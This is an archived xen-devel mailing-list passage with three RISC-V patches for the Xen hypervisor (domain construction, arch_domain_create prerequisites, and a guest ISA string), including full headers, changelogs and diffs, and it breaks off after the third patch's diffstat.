X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353508; x=1783958308;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=hLy3qyx924BwMCcddx6KluNT1kSq6alsUk5vcF9j5ys=;
        b=IMMUC6Llfz9nOdb2ecqFeWIZellKZA97XLJofIvtjFN93JswAwCjtlO+rs2EX6We00
         NuiL18W9re1ftblltBD2fLPsrrxYAPtLEDKpziaova8hBlI/nftoCVIJMLap0ALTEOQM
         ZvrgPiXK3JI9e+qx8tumyjYroxPRb6StC25hQsl6TURdHP2jVoU9u31Lovmnmrh+z2BG
         SymOSd56R6Iq4H+2ONSfU7UpDRUN1wVtQiwTc5RC4U+/cAtSHe98Ht7FcJM7HT2r3Ue4
         QeVFmmesOkvBvXkwVVpWAqY925gd4e9rbsA1XYODl83Q4stTqwYhUczVUPZahx6qAAdo
         08AA==
X-Gm-Message-State: AOJu0YydBSPyF4hxh6MuWzBJRfFvzcIsDKTXN/4LgUbBK9l6QdB0IChN
	EZV1LZVhQKdhbS8HhClQhP66auzmHJ7+n5SiN8Qv7P9iYLFkN7c2Miea8DGqHw==
X-Gm-Gg: AfdE7cnvjloGxuwySAa4ZMFfH25ayOm41yeu6wujypVsTPiVzsW2UnHsI1M+dDPIGWQ
	Jc5PGjdVxeka8LX8MDXVXrzXCFl2UFHxZH8L+yGGt3QX7XFx6xDabnaN1rh80i5pXeuRu2TKQaf
	9Xve2I+IuqcdeXmz0Rc8zSFRWBpvbq2EEjpsuSW8ume0ci8ad7hixiRepz+aJ1S0dR5ia0C0FA4
	7dVjrhx7b7ZiWaYzusO9YkwWn7946M73xyntOBJOEbZxDiak+oOZN6rkp4iC3nghfhpbMYEVefR
	fWFcb9OC7oGPPdxhmgmZJBWCT/v+F1UdaXgpBB4WQAXAH89HO/uFd546UdaXFyxOoH963mOriAh
	P+iUzUucsBE0RWlf4bP3eDbmj1b3sDk96HFOdIsW7Tt449Up4AORxae1TyuQ83jXf+lgXt4Mdf3
	W2cB2SxCCIusVJSKzd5Nvwk3IV+J4Cq/nzA0BlPMUII9mQd/FNXOUtQPlf9A==
X-Received: by 2002:a05:600c:3143:b0:493:d800:204f with SMTP id 5b1f17b1804b1-493df0a7521mr14274605e9.21.1783353507784;
        Mon, 06 Jul 2026 08:58:27 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 07/26] xen/riscv: Implement construct_domain()
Date: Mon,  6 Jul 2026 17:57:48 +0200
Message-ID: <77cfcb52b46c96d68e1fe4032b238bf40f77e3f1.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783353508-547197C5-2B2108C2/10/73395122804
X-purgate-type: spam
X-purgate-size: 3114

Implement construct_domain() function for RISC-V, which performs initial setup
for the domain's first vCPU, loads the kernel, initrd, and device tree,
and sets up guest CPU registers for boot.

It also creates additional vCPUs up to max_vcpus and assigns the device tree
address and boot cpuid in registers.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Only rebase. Nothing changed.
---
Changes in v4:
 - Drop the blank before v%u in the printk() failure message so the output
   matches that of %pv.
 - Restore Acked-by that was lost in v3.
---
Changes in v3:
 - s/%d/%u for printing vCPU index in the failure message.
 - Drop dprintk() for successful vCPU creation.
---
Changes in v2:
 - Rework construct_domain() to print that vCPU1...n are created using %pv.
 - Use true instead of 1 for initialization of v->is_initialised.
 - Drop unnessary BUG_ON() in construct_domain().
 - Add TODO comment above *_load() functions.
---
---
 xen/arch/riscv/Makefile       |  1 +
 xen/arch/riscv/domain-build.c | 50 +++++++++++++++++++++++++++++++++++
 2 files changed, 51 insertions(+)
 create mode 100644 xen/arch/riscv/domain-build.c

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index 8f7fd625dddd..fd5e499eb4b9 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -1,6 +1,7 @@
 obj-y += aplic.o
 obj-y += cpufeature.o
 obj-y += domain.o
+obj-y += domain-build.init.o
 obj-$(CONFIG_DOM0LESS_BOOT) += dom0less-build.init.o
 obj-$(CONFIG_EARLY_PRINTK) += early_printk.o
 obj-y += entry.o
diff --git a/xen/arch/riscv/domain-build.c b/xen/arch/riscv/domain-build.c
new file mode 100644
index 000000000000..5f6f4b6248a5
--- /dev/null
+++ b/xen/arch/riscv/domain-build.c
@@ -0,0 +1,50 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/fdt-domain-build.h>
+#include <xen/fdt-kernel.h>
+#include <xen/init.h>
+#include <xen/sched.h>
+
+#include <asm/current.h>
+#include <asm/guest_access.h>
+
+int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
+{
+    struct vcpu *v = d->vcpu[0];
+    struct cpu_user_regs *regs = vcpu_guest_cpu_user_regs(v);
+
+    BUG_ON(v->is_initialised);
+
+    /*
+     * At the moment *_load() don't return value and will just panic()
+     * inside.
+     * TODO: it will be good to change that.
+     */
+    kernel_load(kinfo);
+    initrd_load(kinfo, copy_to_guest_phys);
+    dtb_load(kinfo, copy_to_guest_phys);
+
+    regs->sepc = kinfo->entry;
+
+    /* Guest boot cpuid = 0 */
+    regs->a0 = 0;
+    regs->a1 = kinfo->dtb_paddr;
+
+    for ( unsigned int i = 1; i < d->max_vcpus; i++ )
+    {
+        const struct vcpu *tmp_v = vcpu_create(d, i);
+
+        if ( !tmp_v )
+        {
+            printk("Failed to allocate %pdv%u\n", d, i);
+            break;
+        }
+    }
+
+    domain_update_node_affinity(d);
+
+    v->is_initialised = true;
+    clear_bit(_VPF_down, &v->pause_flags);
+
+    return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355495.1610338 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliJ-0008PO-SK; Mon, 06 Jul 2026 15:58:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355495.1610338; Mon, 06 Jul 2026 15:58:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliJ-0008P9-J0; Mon, 06 Jul 2026 15:58:31 +0000
Received: by outflank-mailman (input) for mailman id 1355495;
 Mon, 06 Jul 2026 15:58:30 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliI-0008Cm-Sz
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliI-003COz-9x
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:30 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd092-2eae-0a2a0a5409dd-0a2a4502b80a-36
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:30 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0a5-5a27-0a2a45020019-d155802da869-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:30 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493b27c7451so38128505e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:30 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.27
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353509; x=1783958309; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=2wM02Rzxvcnp+4y/YzfnnOgBpcuqxKShTB/HzBg0suo=;
        b=Kxif4d4ZbgeE+LO3yz9Jf6TvFIlb8nYwn6Ca67uTQi5JT+MBH6sMr8RwLVHOyX91Al
         o+V+90YG3bP3cX/Tzk6A/bgqeChP6QC+VLCPI4Ivg9KQy640XFUMVzSY6lCJeU7i3MqG
         GV5Edlw2NChMfjp3hWbZroB7gfr63MaZhojrT9dk0GUdVfLkE6GkLP128Fi+4lhVQ8vV
         gh5cR56LpwkGzLfaE6Zxw44YEjjM65V75eiwXIH8hu8ML5r7HO41FzXTh12CMAguJfQh
         2O/w6MmgvC66ma3lmKYnGt7LCHBBqRXJy3mEKeUOnq9sea915bITNMwE5dpMgcCjE1ZC
         TrEQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353509; x=1783958309;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=2wM02Rzxvcnp+4y/YzfnnOgBpcuqxKShTB/HzBg0suo=;
        b=eqnFq+qv/xbk7jslJpc/6ARwktns1aHbJC4q+S3fyuLlAuKBIqbTdWGNFX3G9N3D6j
         vZaC625TI9/kam1k3xcmmAFNkSmSvsVaNm7Ec5RqObBQamQo8+ADMp/9jomybBaaz4tH
         ucYAU/v2cbCb8tQ5gUNkzSD1uo6GEDDx6RDAecmAyJJoXJ/cjUJW6Rj1WHJ0nKLUzHWn
         rvZsLqbkXrtRGGBRDp0eBCH3uoLrrpjH0hczAwYNY88spv9sqUgDRSAafjfDPi9PEwWM
         KjO/HXnvgBYZObZVxXl7bmCF/WKeNW/gSE+5QZv9LD+D4+47jzOMZyXUxYWz8d1gwLKG
         s+PQ==
X-Gm-Message-State: AOJu0YzWunerHAOVh/jxMIopaDJ5W5cKe0zBTaDz+j3A9phr5KEvqN4t
	nDug6tWag0ebFiUhnDekO4l8MPbGXpKtxMOa5dcsJ0faV9z4ztjR5Z43pdWC7Q==
X-Gm-Gg: AfdE7cmvrGIPKjcU+Db6CHBb8JUYSBbE6ChAV6GSOfl6LazJv9I7X+XqVkHdN6QHe81
	/KsJP2rLQvBnboSLpGuIrpitf1g7fdMCuopfEBpvfl7Zscv2GbO1M9hUw5cYWRmXVnBLkEvUPbc
	i9WNrcHFpriHjTyJL9nRvlhTvRdUgLsE+46DLT1GCuqYpGgQXQOPbizKcWRLHRuGiPGC/JzaFhr
	3Oo45WyUK9hnbU8pF1BQCklGVnXtfyMPXI1RYx7evdR8Y6AmBMW4JNj0RhHXuRn444BRArdx9x0
	Y8cde9T0NMH3nVqE/yILnevR0KJFc/FJxbjVb0BZ7U0sM5NWgKdY1+n7F54mLNKN8776cuA/lmC
	5L0UKy7yr0ger0ZdmKipQ8j2UuWebJCeqNzeWMhC9mt7YEZn6fiKwJ1KXkwT1OsA4B6bol8qbVh
	9Gl9PfrbT39Wdqr6d99cLSl8LiY7Ty/+aJ0X+Kpc7j9DRBGJa2XJJ/BsoYaw==
X-Received: by 2002:a05:600c:811b:b0:490:af63:2cb1 with SMTP id 5b1f17b1804b1-493decbf15dmr15755415e9.7.1783353509335;
        Mon, 06 Jul 2026 08:58:29 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 08/26] xen/riscv: implement prerequisites for domain_create()
Date: Mon,  6 Jul 2026 17:57:49 +0200
Message-ID: <2e6d9e0283bf401ca698e72ddeb7c7f4feaa118e.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783353510-7791E7C5-04EB336F/10/73395122804
X-purgate-type: spam
X-purgate-size: 3039

arch_domain_create() and arch_sanitise_domain_config() are prerequisites for
domain_create().

arch_sanitise_domain_config() currently returns 0, as there is no specific
work required at this stage.

arch_domain_create() performs basic initialization, such as setting up the P2M
and initializing of next unused phandle.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Only review. Nothing changed.
---
Changes in v4:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v3:
 - Move arch_domain_destroy() from stubs.c to domain.c next to arch_domain_create().
 - Drop d->is_dying = DOMDYING_dead from arch_domain_create()'s fail label as domain_create() already does it.
 - Replace BUG_ON("unimplemented") with printk() in arch_domain_destroy().
---
Changes in v2:
 - update the commit message.
 - Drop vcpu_switch_to_aarch64_mode() from riscv/stubs. It shouldn't be under
   riscv/ at all.
 - Drop next_phandle as it is now in common code.
---
---
 xen/arch/riscv/domain.c | 29 +++++++++++++++++++++++++++++
 xen/arch/riscv/stubs.c  | 17 -----------------
 2 files changed, 29 insertions(+), 17 deletions(-)

diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index c77be3b827eb..2819ff4e7c92 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -289,6 +289,35 @@ void sync_vcpu_execstate(struct vcpu *v)
     /* Nothing to do -- no lazy switching */
 }
 
+int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+{
+    return 0;
+}
+
+void arch_domain_destroy(struct domain *d)
+{
+    printk(XENLOG_WARNING "%s: unimplemented\n", __func__);
+}
+
+int arch_domain_create(struct domain *d,
+                       struct xen_domctl_createdomain *config,
+                       unsigned int flags)
+{
+    int rc = 0;
+
+    if ( is_idle_domain(d) )
+        return 0;
+
+    if ( (rc = p2m_init(d, config)) != 0)
+        goto fail;
+
+    return rc;
+
+ fail:
+    arch_domain_destroy(d);
+    return rc;
+}
+
 static void __init __maybe_unused build_assertions(void)
 {
     /*
diff --git a/xen/arch/riscv/stubs.c b/xen/arch/riscv/stubs.c
index acbb5b9123ea..3a7953593d93 100644
--- a/xen/arch/riscv/stubs.c
+++ b/xen/arch/riscv/stubs.c
@@ -101,28 +101,11 @@ void dump_pageframe_info(struct domain *d)
     BUG_ON("unimplemented");
 }
 
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
-{
-    BUG_ON("unimplemented");
-}
-
-int arch_domain_create(struct domain *d,
-                       struct xen_domctl_createdomain *config,
-                       unsigned int flags)
-{
-    BUG_ON("unimplemented");
-}
-
 int arch_domain_teardown(struct domain *d)
 {
     BUG_ON("unimplemented");
 }
 
-void arch_domain_destroy(struct domain *d)
-{
-    BUG_ON("unimplemented");
-}
-
 void arch_domain_shutdown(struct domain *d)
 {
     BUG_ON("unimplemented");
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355497.1610346 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliM-0000Lu-5j; Mon, 06 Jul 2026 15:58:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355497.1610346; Mon, 06 Jul 2026 15:58:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliM-0000Ld-0v; Mon, 06 Jul 2026 15:58:34 +0000
Received: by outflank-mailman (input) for mailman id 1355497;
 Mon, 06 Jul 2026 15:58:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliK-0008TC-5a
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliJ-00AcWu-HN
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:31 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09b-bab6-0a2a0a5309dd-0a2a450b8a36-10
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:31 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0a7-ac48-0a2a450b0019-d155802ab062-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:31 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493b1710405so19850345e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:31 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.29
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353511; x=1783958311; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=PMUxY16+EjQiunTHmrdOH7xzPAM+NcHF5gtkkVq7+74=;
        b=Ycbog57HnGLQpKPY0FJBgCPUJkIfFFDS9NQlxihMMiGuqvKj3c8CHzJW9YhQ+ZOhSG
         O7sKQyPzHOlT6FI8vTyZowSpve/NhUK1CcYCDBIes0qhZ4oYutBvTAWAr/iQ5i0Xhkfp
         z7qwHT4DyKNrU3LSAXaNmYud3I6RNEVmSe0QH10XZb+5V1qToGvtdvj2daAtC5VfU26/
         sGlXchqPU9Bpet9md938u/C6xAJRUHljFHd3mXIQBu2l49TF2DDFuj5bVcZwZ/T8xQoe
         tD50KM9FyQHBLaRDEFl+q2saxl/2C/xruhVM/vHy8w9pxAFfLLZ69ojFq2GJjkIrccOM
         jzGQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353511; x=1783958311;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=PMUxY16+EjQiunTHmrdOH7xzPAM+NcHF5gtkkVq7+74=;
        b=iM2cd1gLtdrrc0AiGB49xWFGcRMMJoX5tD4eLrabSSnqwrbNpN7uR2seUr/AKXGgNQ
         0vGCPDbt9SQS8i5hyjvRUkf6GUaCAAzjtxfLcz4ryUGeXQQvTQu98YlVHpUW9y9oXC8b
         hzBFc26gKic5NP6QMBNIJg51Rnhncnq/ocbIvaz5O7QR131vMW+Slg672h6gzR/YY3m+
         TYdTpPcQpLEwArCGq2hny+V+Ic7mS2+pTZ3SrDPPsBxjnaueGUTUanEZOdrnA4Y7YA6T
         7zqGXMphqEjAGlRtRTLfef0+aKjG5F4XpFHd6bhKGGRyQ/W1fH3AGKzVTrgvA2oDpf0i
         Eudw==
X-Gm-Message-State: AOJu0YxyKjcDVg8Vedyqf33fjy0puzYvrJnKOnlt/BkR4zKOe00pov58
	knlI3R48As0yZ2FVe+sIEZIGmcWy5Vqsw7/Gn7EiIyEk0Q5VBAc8z+15EAWh9w==
X-Gm-Gg: AfdE7cmpgWKX8h7LPkwvvkbaebVjruvYdJUVhDz0RLMfDDnJOvvI81LnSUnUkxweRTu
	SxDao/9z2YBzUTbUk9E7TtaqvXIiy1sqLA5ZWIZnAN8eAYbhopU1QJxmbiCobiX7mtBbxv7Zca9
	QzxIfyKIVodV1lQ9gg77RAURAYnlCJxq6dedAIGgJqxj5lmIiZ7l8Weh3HXpIsiRJQ/UqhjeAMg
	Dhr6zWKxO+EgAi1apSj4nhLt2t27ix8J+v/UaMQ4U3tDbXfvNlbC3XJ4UEjisv6ZTZW91yF+nbQ
	/GHf4BVqKwGdvx3LWTFCb6mblD/O5HJi3BbZc1Y1fD3KiAjOOOLEiegQG1CBKRiSjQXR/lZjrBD
	6yCncCyUUs9WCqfPlpHI89/TFArV/rU8Zq7nnncqU9He+BeTw7D7gXArUjstKbaPf7Sadgg37T3
	gOST7CLVQEX+9Uk69CoIz+XYKbU5LhW69K91fcYZKSqaKMVROCbwDgqvq0bg==
X-Received: by 2002:a7b:cc81:0:b0:493:cc01:807b with SMTP id 5b1f17b1804b1-493df0a0861mr10499455e9.38.1783353510795;
        Mon, 06 Jul 2026 08:58:30 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 09/26] xen/riscv: introduce guest riscv,isa string
Date: Mon,  6 Jul 2026 17:57:50 +0200
Message-ID: <dc486923b5313c64cf383575d25c58c9af9e5eae.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783353511-A5523220-BF0D7000/10/73395122804
X-purgate-type: spam
X-purgate-size: 11522

Introduce build_guest_isa_str() to generate the riscv,isa string to be
passed to the guest via the Device Tree riscv,isa property.

Introduce the per-domain guest ISA bitmap, populated during domain
creation by calling init_guest_isa().

Introduce struct riscv_isa_ext_entry with a new guest_supported field
to filter out ISA extensions that should not be exposed to guests:

- f/d/q/v: FPU and vector context save/restore are not yet implemented
  for guests.
- Z*inx are not exposed either: they aren't in riscv_isa_ext[], so they
  can never be set in riscv_isa and thus never reach a guest, and no
  current hardware/guest-OS advertises or expects them. Supporting them
  would be cheaper than F/D/Q (FP values stay in integer registers Xen
  already context-switches), but is left as future work.
- h: Nested virtualisation is not supported.
- sstc: Xen owns the supervisor timer; guests must use SBI.
- svade: Xen manages hardware A/D bit updates in stage-2 page tables.
- svpbmt: Page-based memory types are not yet wired up in stage-2 code.

Drop __initconst for riscv_isa_ext[] as it can be used after init stage
by init_guest_isa().

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
- Introduce struct riscv_isa_ext_entry with a guest_supported field and
  RISCV_ISA_EXT_ENTRY(name, guest_supp) macro for riscv_isa_ext[],
  replacing the ad-hoc guest_unsupp bitmap and init_guest_unsupp().
  Every entry now carries an explicit true/false decision, enforced at
  compile time.
- init_guest_isa() builds d->arch.isa by iterating riscv_isa_ext[]
  directly instead of using bitmap_andnot() against guest_unsupp.
- init_guest_isa() changed to void as it can no longer fail.
- Drop isa_str from struct arch_domain; the ISA string does not need to
  persist over the domain lifetime. build_guest_isa_str() is made
  non-static and declared in cpufeature.h for use when building the
  guest device tree.
- Updated the fix of underflow in build_guest_isa_str().
- Drop unnecessary empty line in cpufeature.h before enum riscv_isa_ext_id.
---
Changes in v4:
 - Add an explicit overflow guard in build_guest_isa_str(): return
   -ENOSPC when buf is non-NULL and total >= size, to avoid the
   size - total underflow being passed to snprintf().
 - Expand the commit message to explain why Zfinx/Zdinx/Zqinx are not
   added to guest_unsupp (not in riscv_isa_ext[], so never set in
   riscv_isa nor exposed to a guest; left as future work)
---
Changes in v3:
 - s/set_bit/__set_bit in init_guest_unsupp() as atomicity isn't needed at
   init time.
 - Drop RISCV_GUEST_ISA_STR_MAX; allocate isa_str dynamically with
   xvmalloc_array().
 - Drop "guest" prefix from d->arch.guest_isa and d->arch.guest_isa_str.
 - Introduce build_guest_isa_str() using snprintf(NULL, 0, ...) to determine
   the needed buffer size; init_guest_isa() calls it once for sizing and once
   to fill, keeping both in a single function so they can't go out of sync.
 - Scope ret inside the loop; initialize total directly from the prefix
   snprintf().
 - Merge "_" separator and extension name into a single snprintf() with
   "%s%s".
 - Replace ASSERT with an explicit error check: if the fill call returns a
   different length, free isa_str and return -EINVAL.
---
Changes in v2:
 - s/guest_unsupp_bmp/guest_unsupp.
 - Drop guest_isa_str.
 - Provide init_guest_isa() instead of polluting match_isa_ext().
 - Drop xlen.
 - Add the comment about guest_unsupp.
 - Update the way how guest_unsupp is init-ed.
 - Drop __initconst for riscv_isa_ext[] as it is used in init_guest_isa()
   which isn't marked as __init as it could be used after init stage.
---
---
 xen/arch/riscv/cpufeature.c             | 132 +++++++++++++++++++-----
 xen/arch/riscv/domain.c                 |   2 +
